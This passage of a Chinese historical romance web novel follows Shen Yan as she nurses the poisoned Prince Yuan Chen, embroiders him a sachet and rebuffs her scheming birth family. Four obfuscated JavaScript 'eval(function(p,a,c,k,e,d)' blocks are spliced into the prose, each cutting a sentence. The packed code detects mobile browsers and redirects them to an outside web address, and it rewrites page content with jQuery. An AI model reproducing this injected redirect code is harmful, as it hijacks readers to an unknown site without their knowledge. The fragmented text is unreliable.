在三人身前站定，他刻意压低的嗓音难掩得意：“诸位都是自己人，实不相瞒，世子此番进京，还带来了两名契丹降将，指认老贼与契丹王结拜，加上老贼的心腹畏罪，主动招供，这才一举将其扳倒。” 郑嬷嬷和徐管家当即拍手称快，又问起眼下战况与世子的安危。 薛参军说叛军均已伏诛，世子无碍，处理完后续的事便可打道回府。 在场的三人闻言神色均是一松。郑嬷嬷与徐怀礼犹围着薛坚问东问西，沈妍一时却有些缓不过神。 此刻她终于有点看清楚卫世子的真面目。从最初对他与老奸臣沆瀣一气的鄙视，到得知他另有目的，最后转为对他惩奸除恶的钦佩与赞赏。 忽又意识到此人心机深沉，杀伐果决，是个可怕的狠角色。 这么一个人，对她只是稍微利用了那么一下，简直都可以堪称仁慈了。 而她之前居然还敢同他理论，甚至索要了一百两银子…… ——这算是什么？虎口拔毛？ 沈妍浑身一个激灵，顿觉双腿无力，站都有些站不稳了。 一旁，薛坚打量少女纤细的身影在夜色中越发显得单薄，再看她神情，更似魇住了一般，便以为是被这场变故吓到，温声安慰：“沈娘子受惊了。” 沈妍回过神，向薛坚叉手一礼：“无碍，世子无事便好。” 言罢，她与郑嬷嬷一同返回迎晖阁，为元琛准备过会儿要用的夜宵与汤水。 目送着那道纤弱、窈窕的背影没入夜色，薛坚不觉愣怔出神，直到听见侍卫唤他，才慢慢收回视线。 * 当晚，元琛直至过了午时才回府。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16089047|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 沈妍听见动静迎出去，借着廊檐下茜纱灯笼的光亮，看见世子浑身上下遍布着血迹。 但又看他神色举止如常，而且薛参军也说过世子无碍，沈妍料想那些都是别人的血。 元琛从她身前经过时，带来一阵血腥味，沈妍不自觉脑补出他浴血厮杀的场面，忍不住打了个寒战。 元琛已步入室内，长庚和另一名叫阿岚的贴身侍卫跟了进去。 门口，沈妍抬脚去叫热水，不想才走出两步，听见里面长庚惊呼了声：“世子！” 她脚步一顿，下一瞬，回身跑进室内。 只见卫世子双目低垂，身子无力地倚在床头，不知清醒着，还是晕了过去。 他上身只穿着中衣，原本洁白的衣衫，此时左臂上方染了大片殷红，衣袖破口露出一道寸许长的伤口，虽然血迹不多，伤口及周围肤色却呈触目惊心的青黑。 “快去请太医！”长庚急声吩咐阿岚。 后者应声跑出去。 长庚又让沈妍去叫热水。她于是急步出了门。 沈妍走后，元琛眼睫微动。 今夜叛军殊死顽抗，他亲自坐镇指挥，将作乱者悉数斩杀。 不想打道回府时，半路突然冲出一队江湖人士，妄图行刺他。 来人招数古怪刁钻，加上他带的人才刚与乱军作战过，正值人困马乏之际。 纵有侍卫相护，刺客们仍借助暗器遮掩，有几人冲到了他近前。 他一不留神，左臂被一名持柳叶刀的黑衣人砍了一道口子。 这群人不过是想杀他个措手不及，但宿卫军毕竟人多，后面更多将士赶来，刺客已迅速撤离。 当时也是他大意了，急着处理正事没在意这点小伤，不料那刺客竟在刀口淬了毒。 此刻元琛浑身酸麻，左臂一片抓心挠肝的刺痒。 郑嬷嬷夫妇及两名管事的家仆，听闻世子受伤均匆匆赶来迎晖阁，神色焦急。 不多时，太医请到。 看过元琛的伤情，他皱眉开了两个药方，叮嘱长庚：“这两张药方一为内服，一为外用，须立刻抓药回来。世子所中之毒，要将伤处及周边毒素全部剔剐干净，你们之中须有一人协助老夫。” “我来。”长庚自告奋勇。 余人则抓药的抓药，烧水的烧水，沈妍也跟着端水、传信、找东西，一直忙到后半夜太医将元琛的伤口清理完毕。 徐管家安排太医在府中住下，以防元琛有任何不测。 太医临走前嘱咐一屋子人：“世子需要静养，此处只留一可靠之人看守即可。今晚须密切观察，等世子烧退下来才算过关。” 徐管家几个虽说可靠，但到底年迈，手脚迟缓，于是平时照顾惯了世子的长庚主动留下。 沈妍见长庚尚未卸甲，眼中遍布血丝，身上也受了些轻伤，便提出让长庚先去休息，由自己看守世子。 长庚闻言一顿，看了眼元琛道：“不必。” 沈妍方觉失言，她本出自晋国公府，来王府的时间尚短，人家不信任她也是应该的。 此时合眸躺在床上的卫世子却突然开了口，对长庚道：“去吧，这里无妨。” 8. 侍疾 长庚迟疑一瞬，但世子有令，也只好遵从。 他一脸忧色地朝沈妍叉手一礼：“有任何情况，随时叫我。” 沈妍道：“好。” 长庚等人离开后没多久，元琛便昏睡过去。 沈妍在他床边的圈椅上坐下，看着那张玉雕般俊美无害的脸怔怔出神。 其实她本无必要多管闲事，留下侍疾对她也没任何好处，搞不好还会惹麻烦上身。 但卫世子扳倒了作恶多端的老奸臣，为民除害，也让她扎扎实实出了一口恶气。 虽说之前被曾卫世子利用，但她也明白那不过是将计就计，而彼时她既是姚承嗣相送，女使或侍妾，不过在卫世子一念之间。 而他并未以侍妾之名困住她，与她演戏还主动提出付钱，甚至与她签了契约…… 总之，这些怎么看都不像坏人所为。 所以，沈妍不忍看他有难。 论心细与照顾世子，沈妍自是目前所有人中的最佳人选。 当然，最主要是卫世子若有个三长两短，她找谁要钱去？ 床头传来一声闷哼，沈妍抬眸看去，只见卫世子面色苍白，脸颊、额头、脖颈上冷汗涔涔。 又看他眉心紧锁，长睫轻颤，嘴里含混不清念叨着什么，像被噩梦魇住了。 沈妍拿他额上的湿帕子帮他擦了擦。太医说过今晚是关键——卫世子休息不好，会很难恢复吧？会不会没命？ 她心头涌起不安。 忽想起自己床角挂着一枚香囊，里面是她用艾草、薄荷、苏合香等制成的安神香。 每至心烦睡不踏实，她便将此香囊放在枕边，清心安神，屡试不爽。 于是她起身出门，叫侍卫阿岚临时看护世子，自己则跑回屋将香囊取来，放在卫世子枕边。 又看他放在身侧的手紧握成拳，难以放松，沈妍犹豫片刻，终是伸手一点点掰开了他的手指。 结果才掰开两根，指尖突然被他反手握住。 沈妍被抓得手疼，想了想，只好哄孩子般在卫世子手背上轻拍了几下，他果然慢慢松开。 想不到山巅雪般的卫世子也有普通人的一面——还是个脆弱的普通人。 沈妍打算将手抽出来，结果才一动，卫世子的手又是一紧。如此两次，她最终还是放弃了。 ——事急从权，便由着他好了。 不知过了多久，直到确定卫世子退了烧，沈妍才放下心来，趴在床边打了个盹。 * 旁边，元琛躺在床上，仿佛被施了咒语，脑子一半清醒，一半却陷在幻觉里。 一个又一个梦境，如同层层嵌套的罗网，将他死死困住。 动不了，喊不出，只能任由自己像个傀儡般被梦境牵制，直至窒息。 梦境在一片喜庆中开始。 京城冬月，天空飘着鹅毛大雪。元府各处披红挂彩，下人们你来我往，忙前忙后，都在急着筹备一场盛大婚礼。 他的父亲元敬之，即将以平妻身份迎娶清河大长公主的嫡女安阳县主。 红绸装点的门头，他和母亲却挎着大包小包登上一辆马车，在车轮辘辘声中被送往乡下庄子上小住。 他们在雪中颠簸了一整天，终于在日暮时分抵达那个萧索、破旧的村庄。 下车时雪停了，他看见天边残云像一抹抹殷红的血迹。 更深夜静，油灯发出暗红、微弱的光。 他坐在桌案前翻书，手上书卷被母亲轻轻夺去：“我儿年纪尚小，不可这般熬夜。” 他顺从地点点头，但等母亲熄灯睡下，却又掀被下床，重新点起油灯，将书翻出来…… 朝阳未出，东方的天际隐隐泛红。 少年舞动着一杆与他年纪并不匹配的长枪，枪杆上遍布血痕。 手掌上大大小小的血泡被磨破了皮，掌心像一块血迹斑驳的破布。 母亲给他擦药时涨红了眼圈。 他忙摇头说：“不疼，孩儿只是有些心急了。”想快一点变强，到那时他看谁还敢轻视母亲。 母亲将他一把搂进怀中，从不轻易落泪的她突然泣不成声。 一滴血珠晕开，将他的视野染成红色。 前方，母亲手持发钗，钗尖对准自己的脖颈，冲父亲歇斯底里：“世子之位本该是琛儿的，也只能是琛儿的。元敬之，你若敢选别人，我这便死给你看！” 父亲则软言央求：“好，我答应你……把发钗给我。” 发钗落地有声，伴随着母亲的讽笑：“对你而言，名声果然比良心重要。” 一口鲜血喷溅在雪白的锦帕上。 母亲倚在榻上，呼吸像破旧的风箱，定定看着他，喉咙里艰难地吐出一句：“不要记恨你的父亲……” “母亲，你再坚持一下，我这便去找父亲来！” 雁回城街头，少年大汗淋漓，一路狂奔，直到喘不过气，口中溢满血腥。 远处的天际，血红的残阳一点点坠落…… 四下里漆黑一片，元琛浑身麻木，意识也在逐渐消散。 不知过了多久，他在一缕芳香中找回神志。 那是雏菊与艾草的清香，期间还夹杂着一些不知名的芬芳。 周围有水声、鸟鸣……他好像在一片草地上睡着了。 天光淡淡，洒在眼皮上——是透明的薄红。 * 元琛睁开眼，周遭萦绕着梦里熟悉的香味，右手微沉，被一片暖和、温软包裹着。他转眸看去，竟是一只素白的手。 下一瞬，他看见趴在床边睡着的沈妍，沉黑的瞳仁骤然放大。 心跳空了一下，被握着的那只手也有点僵，仿佛不是自己的，怔了好一会儿，他才指尖一颤，烫着似的将手抽出来。 他这一动，床边的沈妍一个激灵抬起头，因为刚醒，嗓音略带着一点沙哑：“世子醒了。” “嗯。”元琛声色无波，手心却起了一层薄汗。 视线避开沈妍的瞬间，他看见枕边放着一枚鹅黄色香囊。 “那是妾自制的安神香。”沈妍语气小心翼翼，“昨晚看世子睡不踏实，怕您休息不好不利于恢复，这才自作主张拿过来。” 元琛目光落在香囊上，里面散出的正是昨夜他在梦中闻见的味道。 “多谢。”他语气淡淡，依旧听不出任何情绪。 话音才落，一只微凉的手触上他的额头，元琛猝不及防身子僵住，头脸确实在发烫。 面前，沈妍却疑惑地轻“咦”一声，自语般喃喃：“明明不烧了，脸怎么还红？妾这便去请郎中。”说着起身，快步出了门。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16089048|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>在她身后，元琛躺在床上几不可察地松了口气。 忽然想，以现下二人的关系，她本不必如此，但元琛看得出，沈妍关心自己并非假装。 这么想着，他不觉又有些出神。 长庚进门便看见世子眉目舒展，显然心情不错，也跟着长舒了一口气，看来世子伤势已无大碍。 不过纵使如此，他这般由心笑出来的样子也极为罕见，想必是因为扳倒姚承嗣去了一个心头大患？ * 元琛本就伤得不重，加上昨夜解了毒，退了烧，太医看过后说调养几日应无大碍。 这厢，沈妍原以为卫世子与她演戏是为迷惑姚承嗣。可是随着姚承嗣倒台，她对卫世子应该也失去了利用价值，不知为何那个契约他要签一个月之久…… 是因为财大气粗，多些日子也不在乎？还是他当时也不确定揭发老奸臣会在哪一天？ 虽然心中好奇，她却也知道最好别问。 高门之间的事，对于她这种位卑言轻之人，通常知道得越多，死得越快。 因为元琛受伤，圣上特地免去他的朝仪，准许他在府中静养休息。 这日晌午前，沈妍将洗好的衣物送进元琛房中，正往柜子里放，元琛从她身后走来。 “香囊还给你。”他手上拿着那枚鹅黄色香囊，表情认真，“多谢。” 沈妍接过香囊：“举手之劳，世子不必客气。”言罢想了想，出于好心道，“这香囊世子若觉得有用，妾做一枚新的给您吧？” 话落，没想到对方痛快应下：“那便有劳沈娘子了。” 沈妍向他叉手一礼，算是应承下来。 元琛转身离开时，忽想到了什么，顿足：“对了，以后早朝你不必过来了。” 沈妍一愕：“为什么？是不是妾哪里照顾不周？” 元琛：“……”总不能说之前是故意折腾她，想看她的笑话吧？ 慢慢转过身来，他轻咳两声，故意沉下脸：“你只需专心做好契约上的事，不然哪天累坏了身子，外人会以为本世子苛待你，这场戏还有谁会信？” “噢。”沈妍若有所思地缓缓点头。 元琛于是抬脚离去，在沈妍看不见处默默牵起唇角。 沈妍犹在心里嘀咕：好端端的，突然又摆臭脸。 而且，最近明明没有外出安排……哪用得着这么小心？ 不过这件事对沈妍只有好处，她当然乐得从善如流。 没有了每日寅时起床，沈妍这几日睡眠好，气色好，心情也跟着不错。 如此说来，还真要感谢卫世子。 所以，她决定把要送给他的香囊做好看一点，比如，在上面加个刺绣？ 虽然她于这门手艺水平有限，但送人礼物最重要的是真诚。 沈妍用心想过，卫世子身为武将，这香囊的图案也该绣得威武一些，再配合他的身份，沈妍觉得绣只猛虎最合适不过。 于是她找来丝线，描画了样子，穿针引线。 她是那种无论做什么都很专心的人，手脚也利索，一只斑斓猛虎没几日便大功告成。 事后端详着自己的手艺，她又觉着哪里不对。 这只虎不知神态还是外形，给人一种感觉，好像它不是猛虎，而是一只虚张声势的炸毛猫。 9. 香囊 但仔细看，又瞧不出什么毛病。 大约她印象中的卫世子便是如此吧，沈妍最后得出结论。 如此一想，她忍不住笑起来，越看越觉得这只虎绣得传神。 行，就是它了。 元琛一大清早因事外出，沈妍得了自在，便又鼓捣起那些香料、口脂来，正式将之前的想法付诸实施。 她将采集的花瓣蒸出香露，收集在瓮中，接着熬蜜蜡，兑清酒，分别拌入滤好的红花、紫草、凤仙花汁，再按照不同颜色分装进竹筒制成的一排小圆盒中。 一切准备就绪，她将小圆盒放在院内一张石桌上，坐在桌边月牙墩上等着口脂凝固成形。 结果想必因为忙碌了大半日有些乏累，等着等着，她不知不觉竟趴在桌边睡着了。 元琛进门时，看见沈妍趴在石桌上，合着眼，头枕着手臂睡得正香甜。 此刻的她没有了平时的客气、精明、谨小慎微，原本白嫩紧致的脸颊，因手臂挤压显得肉嘟嘟的，透出几分少女的娇憨，细长微卷的睫羽小蒲扇似得，在眼下投出细密的暗影…… 这么看着她，元琛不觉怔然出神。 直到长庚大步迈进月洞门，在他身后出声：“世——” 长庚刚一开口，元琛蓦地回头，食指搭在唇边，朝他做了个噤声的手势。 长庚这才注意到趴在院中睡着的沈妍，心领神会地冲元琛点点头，放轻脚步往廊道上走。 从元琛身旁经过时，他看见世子的目光落在沈妍身上，原本清冷的眉眼一片柔和。 不着痕迹地收回视线，长庚圆眼睛慢慢弯成两道弧线。 一阵风吹过，将桌边少女鬓边几缕碎发刮到脸上。 元琛忽醒过神。此时虽已是三月天，外面的风依旧寒凉。 意识到什么，他抬手解开披风，轻手轻脚走过去，给沈妍盖在身上。 却没想到，如此一动，廊檐鸟笼中那只鹦鹉突然咋呼起来：“世子——世子回来了——世子回来了！” 下一瞬，沈妍一个激灵坐起来，看见了身旁的卫世子，急忙站起身，讪讪朝他一礼：“妾不小心睡着了，不知世子回来，望世子见谅。” 元琛：“无妨。” 沈妍微勾着头，趁元琛没注意，转脸偷偷瞪那只鹦鹉：笨鸟，世子回来怎么不早说？ 收回视线时，她才瞧见身上苍青色的披风，愣住：“世子，这……”这于矩不合，而且此处没有外人，不用这般表演吧？ 仓惶避开她的视线，元琛将两手背到身后，声色淡淡：“怕你万一着了凉，耽误本世子的正事。” 沈妍：“……”原来如此，“妾下次一定注意。” 不过最近不是也没什么正事？当然，她并不敢反驳卫世子——您长得好看，说什么都对。 进而她又想到自己还有不到半个月便要离开。虽说卫世子是个极为自律之人，也并不需要照顾，但如果他身边有个女使的话，一定会活得更有生气一些。 经过这段时间观察，沈妍私下里常这么觉得。 “其实，只要世子想，何愁找不到得力的女使？”她也不知道自己哪来的勇气，突然壮着胆子开口。 话落，廊檐上那只鹦鹉也跟着她重复：“女使，找女使……” 大约是最近沈妍每天给它喂食，一人一鸟彼此熟悉了，她一开口，这只鹦鹉便喜欢跟着学。 “——据妾所知，南城东边有个牙行……” “把那只鸟拎到后院去。”元琛忽然皱眉打断她。 沈妍一怔，不解地望着元琛：“啊？” “话太多。”元琛说着一甩袖子，黑着脸抬脚走了。 沈妍：“……”她记得早起时世子还夸这只鸟聪明来着…… 真是喜怒无常——对一只鸟都不例外。 * 二人之间的一点不愉快，很快被沈妍送出的香囊打断。 晌午过后，元琛坐在书房桌案前，盯着手中的藏青色香囊怔怔出神。 一刻钟前，沈妍将这枚香囊送给他。 “这是上次答应给世子的安神香。”沈妍说话间，看见元琛目光落在香囊外面的刺绣上，不禁一阵心虚，声音越来越轻，“……绣工不佳，世子莫要见笑。” 元琛打量着香囊上的刺绣图案，唇角微不可察地一漾：“这只花猫灵动可爱，沈娘子过谦了。” “花猫？”沈妍表情僵住，见卫世子掀起眼帘看过来，她嘴角抽了抽，“……其实妾绣的是只猛虎。” 闻言，面无表情的卫世子身子颤了颤，蜷起手指抵在唇边轻咳了两声：“原来如此。” 沈妍：“世子若是不喜欢，可以先还给妾，妾再——” “不用，”元琛打断了她，“猛虎……也很好。” 沈妍听他如此说，讪讪一礼，告辞出来。 书房门口，长庚进门时，注意到世子眼角眉梢上扬，忍不住凑上前去，看见世子手中的香囊，鼻翼微动，用力深深嗅了两下：“这是什么？好香！” 元琛闻言敛神，反手将香囊扣在桌上。 长庚抿嘴一笑：“是沈娘子送的吧？” 元琛不置可否，另一只空着的手随便从桌上捞起一本书看。 “世子，”长庚伸手指着元琛手上的书，“——拿反了。” 元琛眸光微滞，烫着似的将书撂下，抬眼瞪长庚：“你很闲？” 随即伸手指着面前一大摞书，“把这些书按年代、日期整理好，放回架子上去。” 长庚撇撇嘴答应一声，须臾，边整理书边念叨起来：“要说这沈娘子真是咱们迎晖阁的福星，为世子侍疾尽心尽力，想得也周到。” 自从沈妍来了王府，他手上的活减轻了不少，加上沈妍性子随和，长庚本来就对她印象不坏，后来经过元琛中毒一事，对她更添了信任。 这段日子，他眼见着自家世子性情开朗了不少，故而他对沈妍态度也越发友善。 这会儿长庚自顾自滔滔不绝，“要小人说，世子平日就是克己太过，身边早该有个女人照顾。自从沈娘子来了迎晖阁，世子连气色都——” “嗒、嗒、嗒——”对面，元琛终于忍无可忍，屈指轻轻敲打着桌面。 长庚这才收了声，抬头对上元琛一副“你话太多了”的表情。 “收你的书。”元琛道。 长庚嘿嘿一笑，将面前一摞书抱在怀中，转过身却悄悄吐了吐舌头。 等长庚收拾完东西离开，元琛这才拿开盖住香囊的手，视线落在那只刺绣的“猛虎”上，眉目一点点舒展开。 * 翌日，元琛照例外出办事。他出去后没多久，有个婆子来迎晖阁给沈妍报信，说王府外面有人找她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16089049|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈妍不禁诧异，她在京中并无相熟之人，至于苏府那些所谓家人，自从她进了姚府便再无联系——有谁会来这里找她？ 不多时，她赶到门外。墙边闪出一人，冲她喊道：“大娘子”。 沈妍一怔，瞬间被这熟悉的声音勾起许多不愉快的回忆。 一个婆子款步赶上来，是嫡母姜氏身边的桂嬷嬷。 此人是姜氏的心腹，从前没少帮着姜氏母女欺负沈妍。 眼下却态度恭敬地朝她叉手一礼：“婢子给大娘子请安。” 沈妍见她如此，勾唇凉笑：“嬷嬷居然找到了这里，当真好本事，难怪深得主母器重。”她心里厌恶此人，自是不会给她什么好脸色。 桂嬷嬷惯会察言观色，不可能听不出她话里的讽刺，若照以前，早已冲她发作，此刻却陪着笑脸：“大娘子说笑了。婢子也是那日在朱雀街偶遇大娘子，后来一番打听，才得知您如今在卫王府当差。” “大娘子既未受姚府案牵连，怎的也不知会家里一声？免得老爷与夫人为您日日悬心。” 沈妍闻言，几乎要被她气乐了：“是悬心我会不会牵连到苏府吧？” 桂嬷嬷神色闪了闪，讪笑：“怎么会？自从得知大娘子的消息，夫人与老爷便决定接大娘子回府，这几日一直在着手准备。婢子此番也正是为此事而来。” 沈妍心下冷嗤——当她是三岁孩子？ 当初苏家为了荣华富贵将她推进火坑，而后更是对她不闻不问，如今她脱了险，他们倒都发起了善心？ “回苏府倒不必了，我早已嫁做人妇，如今在外面过得也很好，便不劳老爷与夫人惦记了。”撂下这句，她抬脚要走。 桂嬷嬷忽道：“大娘子如今可是在卫王府做事？ 沈妍脚步顿住。苏府既已知道她在哪，不达目的，恐不会善罢甘休。 果然桂嬷嬷继续说道：“卫世子还不知晓大娘子的真实身份吧？” 沈妍：“你威胁我？” “不敢。”桂嬷嬷嘴角勾起一抹得色，“婢子只是与大娘子商议。老爷如今已官复原职——正六品的京官——与卫世子乃是同僚。倘若婢子去王府中传老爷、夫人的话，世子金尊玉贵，想来并非那不通情理之人。” 沈妍细白的指尖掐进手心。 倘若苏府不顾她的意愿，以父亲的名义向王府要人，卫世子难道会为了一个女使枉顾同僚情面？ 毕竟两人的契约眼看到期，而随着姚承嗣倒台，她对卫世子明显已没什么利用价值。 “你们这般处心积虑让我回去，究竟有何目的？”她冷声问。 桂嬷嬷：“当初家下那般境况，将大娘子送进姚府实属无奈之举。如今既已获知大娘子平安，自然是要接回，让您身边有家人照拂，总好过一个人无依无靠地在外吃苦。” 沈妍哼笑一声。看来从这婆子口中问不出什么。 见她不说话，桂嬷嬷神色越发得意：“眼下就是要大娘子一句话，婢子也好进王府要人，免得到时候一家子伤了和气，叫外人看笑话。” 她话音落下，沈妍恍然明白了苏府的如意算盘。 原来他们也拿不准卫世子的态度。既想要她回去，又恐执意领人得罪卫王府，这才先从她身上下手。 只要她松了口，双方你情我愿，卫世子便没有从中阻拦的道理。 10. 接人 “不必再编鬼话了，我不会跟你苏府。”想通了此节，沈妍说道。 桂嬷嬷闻言面色沉下来：“大娘子还年轻，如今这般不清不楚地呆在卫王府未免惹人非议，纵使您不顾念老爷的体面，也该为自己的名声考虑——” 话音未落，“啪！”一记耳光落在桂嬷嬷脸上，在上面烙下一片红印。 沈妍捏着火辣辣的右手，声音沉冷：“放肆，主子是非何时轮得到你一个下人置喙？滚！” 桂嬷嬷捂着肿胀的半边脸，不可置信地瞪着沈妍，仿佛突然不认识眼前的女子。 那个整日关在苏府后院安静如鸡的少女，何时变得如此泼辣大胆？ 半边面皮抽动了一下，她眼中闪过一抹怨毒，但终究未再说什么，咬着牙转身走了。 沈妍望着她的背影，扬声道：“回去给你主子捎句话，四年收留之债我已还清，此后与苏府再无瓜葛。” * 苏府正堂。苏文焕下职回来，姜氏边帮他脱去官服，边向他诉苦。 “老爷的宝贝女儿好大架子，今日阿桂去请她回府，好话说了一箩筐，不想人家竟是百般为难，非但不肯回来，还悍然动手打了阿桂，将我们这做父母的骂得一无是处。” 话音落下，苏文焕关心的重点却是另外一件事，皱眉：“怎么派个下人去接？不是说好由你亲自去吗？” 此前得知沈妍下落后，夫妻二人曾商定接她回府。 因苏文焕白日里还要上职，为尽快将人接回，二人最后定下由姜氏出面接人。 但临行前，姜氏却改了主意。 虽说接沈妍回府，最初还是由她提议，但果真让她面对沈妍，放下脸面把人接回又是另外一回事。 接苏文焕这个长女回府，等于主动承认沈氏先于她存在，甚至差点让她这个主母身份彻底不复存在。 姜氏到底心里膈应，最终还是打发了桂嬷嬷前往。 没想到那丫头竟是个不识抬举的。 此时面对苏文焕质问，姜氏神色闪了闪，随即奉上早已想好的说辞：“我还不是为一家子的生计奔忙？刚好庄子上有事找来，一时挪不开身，这才让阿桂先代为传达一声。” 一顿后，她话音一转，“再者说，一家人真需要讲究什么排面、三请、四请吗？那孩子眼里但凡有你这个父亲，早该自己回来。这倒好，平安脱身不知会家里一声，反而不清不楚地留在什么卫王府，竟是一点不顾及老爷的颜面，这性子也不知随了谁？” 苏文焕闻言苦着脸：“我如今在她眼里，哪还有什么颜面？当初沈氏临终前将她托付给我，结果……”说着摇头叹息。 姜氏扶他在圈椅上坐下，一边帮他捏肩，一边善解人意道：“老爷何尝没有苦衷？当初那个情形，谁还不是没头苍蝇？老爷难道就忍心看着苏家败落，一家老小前程尽毁？” 看苏文焕不言，她又幽幽说道，“给姚府做家姬是委屈了些，可妍儿毕竟是苏家长女，大难当头也该晓得替父分忧才是。” 苏文焕默然半晌，最后面人儿一般说道：“终归是苏家亏欠她，妍儿心中一时过不去那道坎，也是人之常情。照我说，既然她平安无事，又在王府安顿下来，此事不如从长计议，先由着她吧。” 姜氏听得气不打一处来，本要发作，却又想接下来还要求苏文焕出马，于是深吸一口气，放平了声音：“老爷先别急着惯孩子，依我看那丫头无非是闹一闹脾气，想要老爷一个态度。既如此，老爷何不干脆亲自去请，你们父女之间说话，总比我这个嫡母出面强百倍。” 言罢看苏文焕拧眉犹豫，又补充，“我也是为妍儿着想，隔壁林郎子前两日不是还打听妍儿的下落？可见是动了真情。妍儿若有造化嫁入林家，纵使为妾，这辈子也算是有个好归宿了。” 一顿，他觑着苏文焕神色，语气循循善诱，“更何况，林子旭如今是太子跟前的人，若与咱们亲上加亲，于老爷的仕途定然大有助益。如今姚承嗣倒台，老爷虽幸而未受牵连，却也该为日后谋划一番，难不成真要在奉议郎的位子上窝囊一辈子？” 最后一句，姜氏故意戳苏文焕的痛处。 他本是清流进士出身，可惜在京中毫无根基，为官多年一直没有向上的门路，加之时运不济，这一生可谓官途坎坷，平日里没少为此长吁短叹。 当初将沈妍送入晋国公府，苏文焕作为父亲固然心存愧疚，但他并非只有沈妍一个女儿。他还有嫡子、嫡女，乃至苏氏一族。 想到自己与的前程，苏家的未来，苏文焕最终还是点了点头。 * 苏府内宅。二娘子苏锦荣边快步迈入正堂，边急声道：“母亲，不好了！父亲要接那个私生女回来。” 姜氏原本正在喝茶，闻言轻轻放下建盏，八风不动：“嚷嚷什么？是我让他去的。” 苏锦荣闻言杏眼圆瞪：“母亲这又是为何？当初好不容易将人打发出去，眼下又要接回来，您还想让她继续恶心全家？” 看着女儿慌脚鸡般毫无城府的模样，姜氏不禁来气：“急什么？我这么做还不是为你。” “为我？”苏锦荣眉心快拧成疙瘩。 姜氏：“林子旭仍对那丫头念念不忘，几次三番向你父亲打听她的下落，你可知晓？” 她话未说完，苏锦荣已气得跺脚：“母亲休再提此事，当初明明是女儿认识林郎在先，不想被那丫头横插一脚，也不知用了什么狐媚手段，把林郎哄得晕头转向，即便她后来进了姚府，事情都过去这么久，林郎竟仍对她死心塌地……” 作为苏文焕嫡女，苏锦荣出身官宦之家，虽自幼娇生惯养不喜读书，却也粗通些文墨，加上有几分姿色，向来心气颇高。 苏林两家比邻而居，苏锦荣自幼便与林子旭相识，只不过林家家境平平，林父不过是个衙门里做杂役的吏员，论官职远不及苏文焕，故而苏锦荣从前一直未将林子旭放在心上。 但这并不妨碍她觉得林子旭应该对她心存仰慕。 不只林子旭，在心高气傲的苏锦荣看来，京城每一位见过她的青年才俊都应该或多或少为她所迷。 怎料某日骤然得知，林子旭的心仪之人竟是她那个出身卑贱的便宜长姐苏锦妍。 那一刻，苏锦荣简直比被人当众扇了耳光还难受百倍，以至于苏锦妍后来被送进姚府，都未能抵消她心头之恨。 更未曾想到，林子旭后来居然还高中探花，并且仍对苏锦妍念念不忘…… 这事让苏锦荣倍受打击，不知怎么，渐渐竟在她脑海中演变成了私生女横刀夺爱，拆散她与探花郎好姻缘的戏码。 此时姜氏看女儿越说越委屈，不由放软了声音，语重心长：“京中水深复杂，林家又毫无根基，虽说林子旭中了探花，但往后日子还长，谁能担保他前程如何？这事只消看你父亲的仕途便可知晓，而眼下，咱们却有一桩——” “女儿就是气不过嘛！”苏锦荣再次打断了姜氏，“母亲说，女儿哪一点比不上那个贱婢？” “够了！”姜氏一声断喝，虚点着苏锦荣，一脸恨铁不成钢，“出息！你同她比什么？就不能把眼光放长远些？” 她说着压低嗓音，“你可知林子旭如今在太子府做事，近日又搬出林家另立了府邸，听闻他与太子殿下兼几位王爷都走得很近。” “太、太子殿下？”仿佛被这个身份吓着，苏锦荣磕磕绊绊道。 姜氏颔首，语气意味深长：“把那丫头接回来，给林子旭当个妾室。如此也方便你以嫡妹名义往林府走动。” 后面的话无需多言，母女二人各自心领神会。 大庆朝例来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16089050|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敬重书香清流，苏锦荣自诩清流嫡女，兼样貌出众，在姜氏教导下，自懂事起便存了高嫁之心。 眼下听闻竟有机会接近几位殿下，对苏锦妍的怨气终于一扫而空，腮边渐渐浮起一坨红晕。 * 迎晖阁，沈妍听见父亲在王府正堂等她，心知此事终究不能善了。 他这一来，等于挑明她的身份。 